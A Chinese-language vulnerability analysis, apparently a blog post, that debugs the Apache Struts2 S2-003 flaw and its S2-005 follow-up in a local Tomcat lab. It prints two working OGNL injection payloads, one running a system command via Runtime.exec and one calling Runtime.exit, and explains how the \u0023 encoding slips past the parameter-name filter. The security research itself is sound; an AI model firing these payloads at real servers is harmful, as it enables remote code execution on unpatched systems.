环境搭建

因为影响版本包括了S2-001的范围,因此我继续使用Struts2.0.1的包。

将Struts2的struts2-showcase-2.0.1.war放到Tomcat下的webapps文件夹,便完成了环境搭建,运行后,访问链接:

http://localhost:8080/struts2-showcase-2.0.1/showcase.action

调试分析

选取网上常见的POC作调试用:

1
('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET')(kxlzx)(kxlzx)&('\u0023mycmd\u003d\'ipconfig\'')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\u0023mycmd)')(bla)(bla)&(A)(('\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())')(bla))&(B)(('\u0023myres\u003dnew\40byte[51020]')(bla))&(C)(('\u0023mydat.readFully(\u0023myres)')(bla))&(D)(('\u0023mystr\u003dnew\40java.lang.String(\u0023myres)')(bla))&('\u0023myout\u003d@org.apache.struts2.ServletActionContext@getResponse()')(bla)(bla)&(E)(('\u0023myout.getWriter().println(\u0023mystr)')(bla))

从官网的S2-003公告分析,触发点位于ParametersInterceptor,注意调试showcase要先把断点位置打好,否则会出现调试不出现源码的情况。

step overgetValueStack()断点位置,看一下变量情况:

parameters正常赋值,step into进入setParameters():

经过循环取值后,会依次处理传入的参数:

entry被赋值后,进阶着便赋值给了name,而接下来则会对name进行格式校验,跟入acceptableName:

此处会检验是否存在=,,,#,:这些符号,存在的话便返回-1,而-1则无法继续执行接下来的语句。

在109行调用setValue():

1
2
3
4
5
6
7
8
9
10
11
12
13
14
try {
stack.setValue(name, value);
} catch (RuntimeException var14) {
Boolean devMode = (Boolean)stack.getContext().get("__devMode");
if (devMode != null && devMode) {
String developerNotification = LocalizedTextUtil.findText(ParametersInterceptor.class, "webwork.messages.devmode.notification", ActionContext.getContext().getLocale(), "Developer Notification (set webwork.devMode to false to disable this message):\n{0}", new Object[]{var14.getMessage()});
LOG.error(developerNotification);
if (action instanceof ValidationAware) {
((ValidationAware)action).addActionMessage(developerNotification);
}
} else {
LOG.error("ParametersInterceptor - [setParameters]: Unexpected Exception catched: " + var14.getMessage());
}
}

步入setValue():

1
2
3
public void setValue(String expr, Object value) {
this.setValue(expr, value, this.isDevModeEnabled());
}

继续步入setValue:

步入第110行处的OgnlUtil.setValue(expr, context, this.root, value):

步入compile:

进入Ognl.parseExpression(express):

expression函数中的逻辑主要为进行字符处理,而\u0023转变为#则在它调用readChar()函数进行处理时完成,当遇到\u时,将后续的数字处理为十六进制:

Variables中可以看到,已经完成了\u0023#的转变.下图为完成字符处理后,返回compile的结果:

以上语句最终在evaluateGetValueBody函数中进行执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
protected Object evaluateGetValueBody(OgnlContext context, Object source) throws OgnlException {
context.setCurrentObject(source);
context.setCurrentNode(this);
if (!this.constantValueCalculated) {
this.constantValueCalculated = true;
this.hasConstantValue = this.isConstant(context);
if (this.hasConstantValue) {
this.constantValue = this.getValueBody(context, source);
}
}

return this.hasConstantValue ? this.constantValue : this.getValueBody(context, source);
}

延伸至S2-005

在出现S2-003后,官方采用的修补方法为:

正如公告所说的,这不是一个很好的解决方式,因此也直接导致了S2-005的产生,仅需要对allowStaticMethodAccessdenyMethodExecution属性重新进行设置即可重新利用上下文.

1
('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1

而对于S2-005,官方则直接建议升级至Struts 2.2.1: